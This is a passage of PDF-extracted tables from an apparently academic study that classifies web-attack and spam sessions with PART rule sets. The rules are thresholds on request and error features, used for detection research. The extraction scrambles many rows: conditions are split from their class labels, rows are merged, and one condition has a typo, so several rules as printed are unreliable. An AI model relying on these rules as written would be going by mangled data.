Success <= 0 Attack 8 0 
Min Number of Parameters <= 0.5 AND Night <= 0 AND 
Max Number of Parameters <= 0.333333 AND Bytes 
Transferred <= 0.000242 
Attack 13 3 
NOT(*) Attack 6 0 
Table 8.2: PART rules for the two-class problem for the Web2.0 II dataset 
 













NOT(*) Attack 22 3 










POST <= 0 AND Server Error <= 0 AND Min time 












Standard Deviation of Length <= 0.146765 AND 
Semicolon Used <= 0 AND Client Error <= 0 
Attack 17 0 
Server Error <= 0.357143 Attack 6 0 
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Redirection > 0 AND Static HTML <= 0.1 AND Success 
<= 0.046595 AND Number of Requests > 0.00098 AND 
Standard Deviation of Length <= 0.022756 
B&W  47 2 
Redirection <= 0 AND OPTIONS <= 0 AND Static HTML 
<= 0 AND Min Number of Parameters <= 0.4 AND POST 
<= 0.263158 AND Median Length <= 0.030857 AND 
Server Error <= 0.002037 AND Standard Deviation of 
Number of Parameters <= 0.133871 AND Min Length > 
0.051852 AND Client Error <= 0 
Blog  44 0 
Number of Requests <= 0.005882 AND Min Number of 
Parameters <= 0 AND Redirection <= 0.052632 AND 
Static HTML <= 0 AND Server Error <= 0.004073 
Blog  17 3 
OPTIONS <= 0 AND Min Number of Parameters <= 0.2 
AND Server Error <= 0 AND POST <= 0.052632 
Blog  7 4 
Success <= 0 AND Redirection <= 0.052632 AND Min 
Number of Parameters <= 0.2 AND Median Length > 
0.026286 
Dfind  19 3 
NOT(*) DoS  3 0 
Redirection <= 0 AND GET <= 0 AND OPTIONS <= 0 PassB  3 0 
OPTIONS <= 0 AND Min time between requests <= 
0.001195 AND Texts > 0.023256 
PassB  3 0 
OPTIONS <= 0 AND Texts <= 0.023256 AND Standard 
Deviation of Time Between Requests <= 0.001083 AND 
Min Number of Parameters > 0.2 
RFI  3 0 
Applications <= 0 S+  111 2 
Redirection <= 0 AND OPTIONS <= 0 AND Number of 
Requests > 0.006863 AND POST <= 0.263158 AND Bytes 
Transferred <= 0.001013 
S+  4 0 
OPTIONS <= 0 S+  3 1 
OPTIONS <= 0 AND Min Number of Parameters <= 0.2 
AND Server Error <= 0 AND POST <= 0.052632 AND 
Duration > 0.006467 AND Standard Deviation of Time 
S+&B  5 0 
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Between Requests <= 0.022978 
Duration > 0.006467 AND OPTIONS <= 0 AND POST <= 
0.052632 AND Applications > 0.002938 AND Min Length 
<= 0.096296 AND Redirection > 0 
S+&B&W  18 1 
POST <= 0.052632 AND OPTIONS <= 0 AND Min 
Number of Parameters <= 0.2 AND Server Error <= 0 AND 
Max time between requests <= 0.006145 AND Static 
HTML > 0 AND Redirection <= 0.105263 
S+&W  4 0 
POST > 0 AND Success > 0 AND POST <= 0.052632 
AND Max Length > 0.016162 
SpamB  15 0 
POST > 0 AND Mean Number of Parameters > 0.132864 SpamW  166 0 
Redirection > 0 AND Applications <= 0.000979 Wiki  236 14 
Redirection <= 0 AND Number of Requests <= 0.006863 
AND Min Number of Parameters > 0.2 AND Min Number 
of Parameters <= 0.4 
Wiki  14 0 
Static HTML <= 0 AND OPTIONS <= 0 AND POST <= 
0.105263 AND Min Number of Parameters <= 0.4 AND 
Redirection > 0.052632 AND Min Length <= 0.103704 
AND Redirection <= 0.105263 
Wiki  12 1 
POST <= 0.052632 AND OPTIONS <= 0 AND Success > 
0 AND Min Number of Parameters > 0 AND Client Error 
<= 0 
Wiki  11 3 






Applications > 0.003509 AND Client Error <= 0.055556 
AND Min Length <= 0.036 
B&W  15 5 
POST <= 0 AND Client Error <= 0 AND Max Number 
of Parameters <= 0.166667 AND Redirection > 0.060606 
AND Min Length <= 0.024 AND Applications > 
0.007018 
B&W  23 0 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Mean Number of Parameters <= 
0.271579 AND Max Length > 0.208163 AND robots.txt 
<= 0 
B&W  4 0 
NOT(*) B&W  1 0 
Client Error <= 0 AND Median Length > 0.118367 AND 
Semicolon Used <= 0 AND Pictures > 0 AND Remote 
Sites Injected <= 0 
Blog  10 1 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Max Length <= 0.142857 AND 
Redirection <= 0.030303 AND Server Error <= 0.258065 
AND Median time between requests <= 0.254846 AND 
Bytes Transferred > 0.000332 AND Max Length > 
0.085714 AND robots.txt <= 0 
Blog  21 1 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Mean Number of Parameters <= 
0.271579 AND Server Error <= 0.258065 AND 
Redirection <= 0.030303 AND Standard Deviation of 
Time Between Requests <= 0.357921 AND Standard 
Deviation of Length <= 0.131913 AND Bytes 
Transferred <= 0.000329 AND Applications <= 
Blog  22 2 
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0.003509 AND Standard Deviation of Time Between 
Requests <= 0.000917 AND Applications > 0 AND 
Median Length <= 0.106122 AND Min Length <= 0.1 
AND Min Length > 0.044 
Max Number of Parameters <= 0.166667 AND Max 
Length <= 0.077551 AND Bytes Transferred > 0.000152 
AND Static HTML <= 0 
Blog  365 5 
Success > 0 AND Median time between requests <= 
0.00057 AND Client Error <= 0.055556 
Blog  22 7 
Client Error <= 0 AND Semicolon Used > 0 AND 
Remote Sites Injected <= 0 AND Median Number of 
Parameters > 0.25 
Blog  5 0 
Client Error <= 0 AND Server Error <= 0.016129 AND 
Static HTML <= 0 AND Pictures <= 0 AND 
Applications <= 0.003509 AND Applications > 0 AND 
Standard Deviation of Length <= 0.102485 AND Max 
Length > 0.110204 AND Max Number of Parameters <= 
0.166667 
Blog  10 0 
Success <= 0 AND Remote Sites Injected <= 0 AND 
Redirection <= 0.030303 AND Number of Requests <= 0 
AND Min Length > 0.044 AND GET > 0 AND Min 
Number of Parameters <= 0 
DFind  15 1 
Success <= 0 AND Remote Sites Injected <= 0 AND 
Standard Deviation of Time Between Requests <= 0 
AND Number of Requests <= 0 
Other Attacks  4 2 
Texts > 0.055556 AND Median time between requests 
<= 0.031357 
Other Attacks  105 9 
POST <= 0 AND Client Error <= 0 AND Server Error > 
0 AND Remote Sites Injected <= 0 AND Bytes 
Transferred <= 0.001641 AND Min Number of 
Parameters <= 0 AND Server Error <= 0.258065 
Other Attacks  9 0 
Semicolon Used > 0 AND Remote Sites Injected <= 0 
AND Max Number of Parameters > 0.166667 
Other Attacks  5 0 
Client Error <= 0 AND POST > 0.052632 PassW  7 1 
Semicolon Used > 0 AND POST > 0 AND POST <= 
0.052632 
PassW  40 0 
Success <= 0 AND Remote Sites Injected <= 0 AND 
Redirection <= 0.030303 AND POST <= 0 AND 
Average Time Between Requests <= 0.000251 AND 
Night <= 0 
phpMyAdmin  6 0 
Success <= 0 RFI  6 3 
Client Error <= 0 AND Applications <= 0 AND Remote 
Sites Injected > 0 AND Max Number of Parameters <= 
0.5 AND Pictures <= 0.029412 AND Mean Length <= 
0.242857 
S+  28 1 
Applications <= 0 AND Median Length <= 0.061224 S+  189 0 
robots.txt <= 0 AND Bytes Transferred <= 0.000602 
AND Number of Requests > 0.007042 
S+&phpMyAdmin 2 0 
Applications <= 0.003509 S+&W  3 1 
POST > 0 AND Max Number of Parameters <= 
0.166667 AND Min Length > 0.04 AND Mean Length 
<= 0.093184 
SpamB  924 0 
POST > 0 AND Client Error <= 0 AND Remote Sites 
Injected <= 0 
SpamB  11 0 
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Client Error <= 0.055556 AND Semicolon Used <= 0 
AND Median Number of Parameters <= 0 AND Number 
of Requests <= 0.007042 
SpamB  2 0 
Mean Number of Parameters > 0.218947 AND Static 
HTML <= 0 AND Max Length > 0.122449 AND Bytes 
Transferred > 0.000195 AND Min Length <= 0.196 
AND Median Length <= 0.371429 AND Standard 
Deviation of Number of Parameters <= 0.399293 AND 
Min Length > 0.116 AND Min time between requests <= 
0.354048 AND Max Length > 0.163265 AND Min 
Length > 0.132 
SpamW  510 1 
Client Error <= 0 AND POST > 0 AND Median Number 
of Parameters > 0 AND Remote Sites Injected <= 0 
SpamW  49 1 
robots.txt <= 0 SpamW  2 1 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Max Length > 0.146939 AND 
Pictures <= 0 AND Standard Deviation of Length <= 
0.609918 ND robots.txt <= 0 AND Max Number of 
Parameters <= 0.5 AND Remote Sites Injected <= 0 
AND Redirection <= 0 AND Median Number of 
Parameters <= 0.5 AND Median Number of Parameters > 
0.25 AND Min Length <= 0.172 
SpamW  10 2 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Server Error <= 
0.016129 AND Unsafe Characters <= 0 AND Median 
Number of Parameters > 0.25 AND Standard Deviation 
of Length <= 0.621051 AND Min Number of Parameters 
> 0 AND Night <= 0 AND Redirection <= 0 AND Non 
ASCII Control Characters <= 0 AND Min Number of 
Parameters > 0.25 AND Max Number of Parameters <= 
0.333333 AND Standard Deviation of Length <= 
0.03352 AND Number of Requests <= 0 AND Bytes 
Transferred <= 0.000242 AND Bytes Transferred <= 
0.000187 AND Bytes Transferred <= 0.000134 AND 
Min Length > 0.184 
SpamW  14 3 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Max Number of Parameters > 
0.333333 AND Max Number of Parameters <= 0.5 AND 
Median Number of Parameters > 0.25 AND robots.txt <= 
0 AND Min Length > 0.112 AND Non ASCII Control 
Characters > 0 AND Remote Sites Injected > 0 AND 
Median Number of Parameters <= 0.5 
SpamW  8 3 
Client Error <= 0 AND Mean Length > 0.114286 AND 
Semicolon Used <= 0 AND Max Number of Parameters 
> 0.166667 AND Duration > 0.036173 AND Mean 
Number of Parameters <= 0.465263 
SpamW  31 4 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Max Length > 0.146939 AND 
Pictures <= 0 AND Standard Deviation of Length <= 
0.609918 AND Remote Sites Injected <= 0 AND 
Redirection <= 0 AND Non ASCII Control Characters 
<= 0 AND Night <= 0 AND Max Number of Parameters 
> 0.166667 AND Max Number of Parameters > 
0.333333 
SpamW  13 4 
Client Error <= 0 AND Server Error <= 0.016129 AND SpamW  11 4 
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Static HTML <= 0 AND Max Length > 0.179592 AND 
Remote Sites Injected <= 0 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Min Number of 
Parameters <= 0.75 AND Max Number of Parameters > 
0.166667 AND Median Number of Parameters > 0.25 
AND Min Length <= 0.248 AND Standard Deviation of 
Length <= 0.621051 AND robots.txt <= 0 AND Static 
HTML <= 0 AND Median Length > 0.179592 AND Max 
Number of Parameters > 0.333333 AND Remote Sites 
Injected <= 0 AND Non ASCII Control Characters <= 0 
AND Median Number of Parameters > 0.5 
SpamW  47 7 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Server Error <= 
0.016129 AND Unsafe Characters <= 0 AND Median 
Number of Parameters > 0.25 AND Standard Deviation 
of Length <= 0.621051 AND Min Number of Parameters 
<= 0 
SpamW  13 0 
POST <= 0 AND Client Error <= 0 AND Max Number 
of Parameters <= 0.166667 AND Server Error <= 
0.016129 AND Pictures <= 0 AND Median Length > 
0.02449 AND Median time between requests <= 0.27423 
AND Redirection > 0 
Wiki  237 1 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Max Length > 0.17551 AND 
Standard Deviation of Length <= 0.609918 AND 
Pictures <= 0.029412 AND Redirection <= 0 AND Max 
Number of Parameters <= 0.333333 
Wiki  6 1 
Success <= 0 AND Max Length <= 0.077551 AND Min 
Number of Parameters <= 0 AND Max Length > 
0.028571 
Wiki  14 1 
Client Error <= 0.055556 AND Min Length > 0.036 
AND Semicolon Used <= 0 AND Max Length > 
0.093878 AND Night > 0 
Wiki  13 2 
Client Error <= 0 AND Mean Length > 0.114286 AND 
Semicolon Used <= 0 AND Max Number of Parameters 
<= 0.166667 AND Max Number of Parameters > 0 AND 
Min time between requests <= 0.643101 
Wiki  145 3 
Client Error > 0 AND Client Error <= 0.111111 Wiki  6 4 
Client Error <= 0.055556 AND Semicolon Used <= 0 
AND Median Number of Parameters > 0 AND Min 
Number of Parameters <= 0.25 
Wiki  12 4 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Median Number of 
Parameters <= 0.75 AND Median Number of Parameters 
> 0.25 AND Min Length <= 0.248 AND Static HTML 
<= 0 AND Standard Deviation of Length <= 0.621051 
AND robots.txt <= 0 AND Min Number of Parameters > 
0.5 
Wiki  24 5 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Mean Number of Parameters > 
0.271579 AND Server Error <= 0.016129 AND Max 
Length > 0.122449 AND Standard Deviation of Length 
<= 0.609918 AND Median Number of Parameters > 0.25 
AND Redirection <= 0 AND Non ASCII Control 
Wiki  43 12 
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Characters <= 0 AND Number of Requests <= 0.010563 
AND Median Number of Parameters <= 0.5 AND 
robots.txt <= 0 AND Standard Deviation of Time 
Between Requests <= 0.11927 AND Standard Deviation 
of Time Between Requests <= 0.000917 AND Number 
of Requests <= 0 AND Bytes Transferred <= 0.000187 
Client Error <= 0 AND Server Error <= 0.016129 AND 
Static HTML <= 0 AND Pictures <= 0 AND Standard 
Deviation of Length <= 0.078715 AND Bytes 
Transferred <= 0.000354 AND Max Number of 
Parameters <= 0.166667 AND Applications <= 0.003509 
AND Applications > 0 
Wiki  41 14 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Min Number of 
Parameters <= 0.75 AND Max Number of Parameters > 
0.166667 AND Median Number of Parameters > 0.25 
AND Static HTML <= 0 AND Min Length <= 0.248 
AND Max Length <= 0.183673 AND robots.txt <= 0 
AND Max Length > 0.17551 AND Min Number of 
Parameters <= 0.5 
Wiki  29 0 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Server Error <= 
0.016129 AND Unsafe Characters <= 0 AND Max 
Number of Parameters > 0.166667 AND Median Number 
of Parameters <= 0.25 
Wiki  24 0 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Median Length > 0.142857 AND Server Error <= 
0.016129 AND Unsafe Characters <= 0 AND Median 
Number of Parameters > 0.25 AND Min Length > 0.248 
Wiki  19 0 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Mean Number of Parameters <= 
0.271579 AND Redirection <= 0.030303 AND Min time 
between requests > 0.00057 AND Pictures <= 0 AND 
Texts > 0 AND robots.txt > 0 AND Median Length > 
0.044898 AND Night <= 0 
Wiki  14 0 
Client Error <= 0 AND Semicolon Used <= 0 AND 
Static HTML <= 0 AND Max Length > 0.146939 AND 
Server Error > 0 AND Number of Requests <= 0.014085 
XSS  1 0 
Table 9.2: PART rules for the multi-class problem for the Web2.0 II dataset 
 









Success <= 0 AND GET > 0 DFind  11 0 
NOT(*) Email harvesting  3 0 
Redirection <= 0.5 Other Attacks  6 3 
OPTIONS > 0 Other Fingerprinting  9 0 
POST > 0 PassP  12 0 
OPTIONS <= 0 AND Standard Deviation of Length 
<= 0 AND Min Length <= 0.166667 
phpMyAdmin  49 0 
OPTIONS <= 0 AND Bytes Transferred <= 
0.000202 AND Min Length <= 0.333333 
S+  11 0 
OPTIONS <= 0 AND Static HTML <= 0.153846 
AND Standard Deviation of Time Between Requests 
<= 0 AND Pictures <= 0 AND robots.txt <= 0 AND 
Standard Deviation of Length <= 0.071852 
S+  10 3 
OPTIONS <= 0 AND Redirection <= 0.5 AND 
Applications <= 0.083333 AND Pictures > 0.0625 
S+&phpMyAdmin  27 0 
Static HTML <= 0.153846 AND Median Number of 
Parameters <= 0.25 AND HEAD <= 0.066667 AND 
Number of Requests <= 0.041667 
S+&phpMyAdmin  5 0 






robots.txt <= 0 AND Client Error > 0 DFind  22 9 
NOT(*) Other Attacks  20 6 
Server Error <= 0 AND Client Error <= 0 AND Min 
Length > 0.054217 AND Pictures <= 0 
phpMyAdmin  103 2 
Applications <= 0 AND Max Number of Parameters 
<= 0 AND Min Length <= 0.10241 AND Median 
Length <= 0.062893 
S+  197   
Redirection > 0 S+&phpMyAdmin 24 5 
Table 9.4: PART rules for the multi-class problem for the WebDBAdmin II dataset 
 
